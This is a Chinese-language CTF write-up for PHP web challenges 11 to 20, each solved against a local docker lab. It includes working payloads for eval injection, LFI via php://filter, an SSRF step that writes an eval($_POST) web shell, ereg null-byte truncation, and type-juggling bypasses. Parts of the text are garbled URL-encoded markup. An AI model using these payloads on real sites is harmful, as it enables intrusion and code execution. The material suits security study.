Challenge-11-20

Eleven

docker   又拉取失败
image.png
这不是11题嘛 为啥copy 10
解决方法:
在根目录创建 challenge10.php  代码改成11题的代码就好了
image.png
image.png

1
2
3
4
5
6
7
8
9
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

全局使用的值  _REQUEST[‘hello’];
正则匹配

if(!preg_match(‘/^\w*a )){
die(‘ERROR’);
}

要求hello的输入必须为数字 和 字母

eval(“var_dump($$a);”);
show_source(FILE);

存在eval()函数,查看是否可以进行闭合var_dump(),造成命令执行。
存在过滤了符号,无法闭合,所以不能通过闭合var_dump()造成命令执行。
不过,发现var_dump()中存在$$a,可以输出对应的变量值,但是需要指定包含flag文件里面的变量值
但是》》》
PHP中还存在一个特殊的变量,引用全局作用域中可用的全部变量:

$GLOBALS

使用var(%20%20%E7%9A%84%E4%BE%8B%E5%AD%90%3Cbr%20%2F%3E!%5Bimage.png%5D(https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F22356351%2F1679281075329-e7b4d1d6-37df-4847-8164-d1a29fbd5a2d.png%23averageHue%3D%2523b09b50%26clientId%3Du1ce9842f-122a-4%26from%3Dpaste%26height%3D1050%26id%3Du7081636c%26name%3Dimage.png%26originHeight%3D1050%26originWidth%3D1955%26originalType%3Dbinary%26ratio%3D1%26rotation%3D0%26showTitle%3Dfalse%26size%3D444807%26status%3Ddone%26style%3Dnone%26taskId%3Du2ca27eaf-d57e-41aa-85bd-944fb7962fa%26title%3D%26width%3D1955)%3Cbr%20%2F%3E%E8%BF%99%E6%A0%B7%E5%AD%90%E5%B0%B1%E5%8F%AF%E4%BB%A5dump%20%E5%87%BA%20include%20%E5%8C%85%E5%90%AB%E7%9A%84%E6%96%87%E4%BB%B6%E4%BA%86%20%3Cbr%20%2F%3E%E5%85%B6%E4%B8%ADglobal%E5%92%8C#card=math&code=GLOBALS%29%20%20%E7%9A%84%E4%BE%8B%E5%AD%90%3Cbr%20%2F%3E%21%5Bimage.png%5D%28https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F22356351%2F1679281075329-e7b4d1d6-37df-4847-8164-d1a29fbd5a2d.png%23averageHue%3D%2523b09b50%26clientId%3Du1ce9842f-122a-4%26from%3Dpaste%26height%3D1050%26id%3Du7081636c%26name%3Dimage.png%26originHeight%3D1050%26originWidth%3D1955%26originalType%3Dbinary%26ratio%3D1%26rotation%3D0%26showTitle%3Dfalse%26size%3D444807%26status%3Ddone%26style%3Dnone%26taskId%3Du2ca27eaf-d57e-41aa-85bd-944fb7962fa%26title%3D%26width%3D1955%29%3Cbr%20%2F%3E%E8%BF%99%E6%A0%B7%E5%AD%90%E5%B0%B1%E5%8F%AF%E4%BB%A5dump%20%E5%87%BA%20include%20%E5%8C%85%E5%90%AB%E7%9A%84%E6%96%87%E4%BB%B6%E4%BA%86%20%3Cbr%20%2F%3E%E5%85%B6%E4%B8%ADglobal%E5%92%8C&id=S96IB)GLOBALS的区别:
$GLOBALS[‘var’]是外部全局变量的本身,而global var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。

所以payload :
image.png
直接引用$GLOBALS
然后eval执行var_dump(GLOBALS) ;
就dump 出flag了 ;

Twelve

image.png
老出错 。。。
image.png
和上一题很像啊
直接输出了GLOBALS超全局变量进行遍历,也没有过滤啥。
考虑闭合var_dump($a)函数并构造其他的语句进行执行

eval函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾return 语句会立即终止对字符串的计算。
返回值: 除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval() 函数返回 FALSE。

var_dump函数
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

print_r() 函数用于打印变量,以更容易理解的形式展示。
PHP 版本要求: PHP 4, PHP 5, PHP 7

file() 函数把整个文件读入一个数组中。
数组中的每个元素都是文件中相应的一行,包括换行符在内。
语法
file(path,include_path,context)

直接闭合打印flag.php 文件

payload :
?hello=);print_r(file(“flag.php”));//
这里可以使用var_dump  也可以使用 print_r
?hello=);var_dump(file(“flag.php”));//

Thirteen

image.png
函数分析:

mt_srand()
mt_srand() 播种 Mersenne Twister 随机数生成器。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

PHP随机函数
PHP随机函数主要有rand、mt_rand、array_rand,还有随机”排列”(打乱顺序)的函数shuffle、str_shuffle,以及能够产生唯一ID的uniqid。
1、rand()
• rand()函数返回随机整数。
• 如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。
• rand()函数是使用libc的随机数发生器生成随机数的,一般较慢,且有不确定因素。
• 其中getrandmax()函数可以返回rand函数能够产生的最大的随机数,在设置rand()函数第二个参数时可以设置为getrandmax()的返回值。

mt_rand()函数
• mt_rand() 使用 Mersenne Twister 算法返回随机整数。
• 如果没有提供可选参数 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
• 很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。PHP 的 rand() 函数默认使用 libc 随机数发生器。mt_rand() 函数是非正式用来替换它的。该函数用了 Mersenne Twister 中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。
• 注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。

array_rand()函数
• array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
• array_rand() 函数从数组中随机选出一个或多个元素,并返回。
• 第二个参数用来确定要选出几个元素。如果选出的元素不止一个,则返回包含随机键名的数组,否则返回该元素的键名。

shuffle()函数
• shuffle() 函数把数组中的元素按随机顺序重新排列。
• 该函数为数组中的元素分配新的键名。已有键名将被删除。

str_shuffle()函数
• str_shuffle() 函数随机打乱字符串中的所有字符。

uniqid()函数
• uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
• 语法:
uniqid(prefix,more_entropy)
• 如果 prefix 参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy 参数设置为 true,则是 23 个字符串长。
• 如果 more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。
• 返回值:以字符串的形式返回唯一标识符。
• 注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。
• 如果单独使用uniqid()方法,不带任何参数的话,这个方法只能保证单个进程,在同一个毫秒内是唯一的。如果使用uniqid(“”,true),带了一个墒值,自身已经有一个随机的方法能保证生成的id的随机性。但是由于线性同余是比较简单的生成随机数的算法,随机性有可能还不够。
所以大多数采用的方法为:
nuiqid(mt_rand(), true)

主要代码 :

1
2
3
4
5
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}

其中参数whoami要满足两个条件,一个是满足whoami输入的值与产生的随机值相等,另一个条件就是要满足md5(%E4%BB%8E%E7%AC%AC%E4%BA%94%E4%BD%8D%E5%8F%96%EF%BC%8C%E5%8F%96%E5%9B%9B%E4%BD%8D%EF%BC%8C%E8%83%BD%E5%A4%9F%3D%3D0%EF%BC%8C%E5%85%B6%E4%B8%AD%E5%90%8E%E4%B8%80%E4%B8%AA%E6%9D%A1%E4%BB%B6%E5%85%B6%E5%AE%9E%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87PHP%E7%9A%84%E5%BC%B1%E6%AF%94%E8%BE%83%E6%9D%A5%E8%BF%9B%E8%A1%8C%E5%88%A9%E7%94%A8%EF%BC%8C%E4%B9%9F%E5%B0%B1%E6%98%AF%E8%AF%B4%EF%BC%8C%E5%8F%AA%E8%A6%81%E4%BF%9D%E8%AF%81%E7%AC%AC%E4%BA%94%E4%BD%8D%E5%80%BC%E4%B8%BA%E5%AD%97%E6%AF%8D%EF%BC%8C%E5%B0%B1%E5%8F%AF%E4%BB%A5%E6%BB%A1%E8%B6%B3(md5(#card=math&code=value%29%E4%BB%8E%E7%AC%AC%E4%BA%94%E4%BD%8D%E5%8F%96%EF%BC%8C%E5%8F%96%E5%9B%9B%E4%BD%8D%EF%BC%8C%E8%83%BD%E5%A4%9F%3D%3D0%EF%BC%8C%E5%85%B6%E4%B8%AD%E5%90%8E%E4%B8%80%E4%B8%AA%E6%9D%A1%E4%BB%B6%E5%85%B6%E5%AE%9E%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87PHP%E7%9A%84%E5%BC%B1%E6%AF%94%E8%BE%83%E6%9D%A5%E8%BF%9B%E8%A1%8C%E5%88%A9%E7%94%A8%EF%BC%8C%E4%B9%9F%E5%B0%B1%E6%98%AF%E8%AF%B4%EF%BC%8C%E5%8F%AA%E8%A6%81%E4%BF%9D%E8%AF%81%E7%AC%AC%E4%BA%94%E4%BD%8D%E5%80%BC%E4%B8%BA%E5%AD%97%E6%AF%8D%EF%BC%8C%E5%B0%B1%E5%8F%AF%E4%BB%A5%E6%BB%A1%E8%B6%B3%28md5%28&id=hha2C)value),5,4) == 0
这里可以使用MD5无法处理数组的漏洞
还有个条件 :

1
2
3
if($_SESSION['nums']>=10){
echo $flag;
}

在120秒内访问10次,条件满足 ,echo flag
payload  :

1
2
3
4
5
6
7
import requests
url = "http://localhost:23123/challenge10.php"
session = requests.Session()
flag = session.get(url+'?value[]=ea').text
for i in range(10):
    flag = session.get(url+'?value[]='+ flag[0:2]).text
print(flag)

image.png

Fourteen

image.png
直接把 path 拼接到  include  里面去了可以直接读取文件
先读取一下passwd
image.png
但是读取不了 flag文件
image.png

使用php://filter协议

php://filter/convert.base64-encode/resource=flag.php
php://filter/read=convert.base64-encode/resource=flag.php

image.png
就会输出 flag.php 的base64的编码

文件包含相关函数
include
require
include_once
require_once
highlight_file
show_source
readfile
file_get_contents
fopen
file

PHP伪协议
要满足PHP伪协议,基于函数include和include_once()的利用情况。
另外就是PHP.ini环境问题:

1
2
allow_url_fopen: On 默认开启,选项为On时,激活了URL形式的fopen封装协议,就可以访问URL对象文件
allow_url_include: Off 默认关闭,选项为On时,允许包含URL对象文件。

常用伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

利用条件
1、协议:file://
• 利用条件:allow_url_fopen和allow_url_include双Off情况下可正常使用
• 说明:访问本地文件系统
• 用法:file://文件绝对路径和文件名
2、协议:php://
• 利用条件:不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
说明:访问IO流
• 用法:php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
3、协议:zip://,bzip2://,zlib://
• 利用条件:双Off条件下可使用
• 说明:zip://test.zip#x.txt zip://绝对路径#子文件名
• x.txt内容就会以php代码执行
• compress.bzip2://test.bz2和compress.zlib://test.gz用法相同
• /include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
• 用法:可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
4、协议:data://
• 利用条件:双On
• 说明:
/include.php?file=data://text/plain,
或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
或者 data:text/plain,
或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=

Fifteen

image.png

1
2
3
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path'];

传入两个参数
file=
path=  
path会拼接上传的路径  _GET[‘path’];

主要代码是这里

1
2
3
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";

函数解析 :

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
相关函数:

  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
  • stripos()- 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() -查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

语法

strpos(string,find,start)


所以file开头要等于 http://127.0.0.1/

file_put_contents() 函数把一个字符串写入文件中。
该函数访问文件时,遵循以下规则:

  1. 如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 filename 副本的内置路径
  2. 如果文件不存在,将创建一个文件
  3. 打开文件
  4. 如果设置了 LOCK_EX,那么将锁定文件
  5. 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
  6. 向文件中写入数据
  7. 关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

所以

file_put_contents();

这个代码的意思是,从path中

先输入一个file
image.png
出现logsole.log 但是没有路径
再输入第二个参数 path
image.png
他就会吧file 写入到1.php

利用ssrf的原理
构造payload
image.png

image.png
但是这里还要经过二次url编码
是path的内容进行二次编码

http://localhost:23125/?file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=%3C%3Fphp%20eval(%24_POST%5Bcmd%5D)%3B%20%3F%3E&path=shell.php

image.png
image.png
image.png

Sixteen

image.png

1
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)

只能有数字和字母,但是这里ereg函数存在 %00 截断漏洞

ereg()用途
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。

1
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)

这里传入的值要大于999999999,但是长度要小于11
采用科学计数法  1e9
image.png

1
if (strpos($_POST['hihi'], '#HONG#') !== FALSE)

hihi前面要有#HONG#  
然后前面又要判断只能是数字字母
所以1e9在前 然后使用%00截断 在 把#HONG# 放在%00后面
ereg可被%00截断,ereg识别1e9%00#HONG#到%00就认为字符串已结束,前面的1e9符合正则
payload :

submit=1&hihi=1e9%00#HONG#

Seventeen

image.png
又见ereg ,但是这里不是使用截断了

1
2
3
4
5
6
7
8
9
10
11
12
if (!isset ($_GET['^_^'])) $smile = 0;  
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}

GET= ^_^
^_^ 不能有,0-9,%,http……等等 ,不然 $smile = 0

1
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;

$_SERVER[“QUERY_STRING”] #查询(query)的字符串
提取自己得的 query字符串
矛盾点:
$_GET数组本身提取自QUERY_STRING,$_GET[‘^_^’]中key包含_符号,而QUERY_STRING 却不允许。

1
2
3
if ($smile) { 
if (@file_exists ($_GET['^_^'])) $smile = 0;
}

file_exists需要寻找的文件必须不存在、

1
2
3
4
if (1) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}

写入的内容要强等于 (●’◡’●)
绕过

当.或[]之类的符号作为参数的key的时候,会被PHP改写为 _
绕过 if (ereg (‘_’, $_SERVER[‘QUERY_STRING’])) $smile = 0;

file_get_contents可以获取远程数据,但常用网络协议已经被正则过滤,因此需要选取其他协议。

data协议可用,file_exists对于data指向内容判断为不存在

payload :

?^.^=data://text/plain;charset=unicode,(●’◡’●)

image.png

$_SERVER的数组信息表

image.png
image.png

Eighteen

image.png
源代码 :
image.png
传入参数 :

id
login
name
password
user

1
2
3
4
if(@strcmp($_POST['user'],$USER))
{
die('user错误!');
}

传入的user 与 常量$USER进行比较
比较函数strcmp,当strcmp第一个参数小于第二个参数时,返回值为负一,反之为正一,相等时为零。
在不知道常量USER的情况下,满足条件,可以破坏数据结构,参数字符串改成数据,即可得到false值

1
2
3
4
5
6
7
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))

账号密码不能一致,然后要求 md5 相等 ,可以使用数组绕过

1
2
3
4
5
6
7
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['
{
if($_POST['id']==72)
die("flag{poipodajhdkayy}");
else
die("ID错误2!");
}

传入id 需要是数字,if中全类型比较,不是72,可以使用小数类型绕过,然后不含空格,输入flag

Payload:
id=72.0&login=Check&name[]=a&password[]=b&user[]=2

image.png

Nineteen

image.png

条件:

  1. $sss !== ‘0x666’
  2. $sss == ‘0x666’ 可知 $sss 的值需要等于数值 0x666,而又不能等于字符串 ‘0x666’,其中涉及PHP的弱类型比较
  3. if(!preg_match(“/[^0-6]/“,$sss)) $sss只能包含 0–6 的数字
  4. if(strlen($sss)==666) $sss 的长度等于 666、

image.png
使用脚本跑
image.png

Twenty

image.png
我们直接看后面 if 中的判断逻辑:

  • $_GET[‘user’] 是一个全局的变量,我们传的是字符串,它就是字符串,传的是数组,那么它的值就是数组
  • $user 是一个数组, [0 => ‘admin’, 1 => ‘xxoo’]
  • === 三个等号的意思就是类型是同一类型,并且值也是相同的
  • $_GET[‘user’][0] 的值不能等于 ‘admin’

也就是说,如果要使这个 if 条件成立,就必须让两个键值不相等的数组经过 === 比较后返回 true。
4.然后我们测试:

1
2
3
4
5
6
7
8
php -r "var_dump([1=>0]==[1=>0]);" 
bool(true)
php -r "var_dump([1=>0]===[1=>0]);"
bool(true) ➜
php -r "var_dump([1=>0]==[2=>0]);"
bool(false)
php -r "var_dump([1=>0]===[2=>0]);"
bool(false)

然后我们再来看我们这个漏洞:

1
2
php -r "var_dump([0 => 0] === [0x100000000 => 0]);" 
bool(true)

键名为 0 的数组与键名为 0x100000000 的数组居然相等了!
也就是说:

1
2
$user : [0 =>'admin', 1=>'xxoo']; 
$_GET['user']: [0x100000000 =>'admin', 1=>'xxoo']

这样就能使题目当中的条件成立。

http://localhost:23130/challenge19.php?user[429496729600000000]=admin&user[1]=xxoo

image.png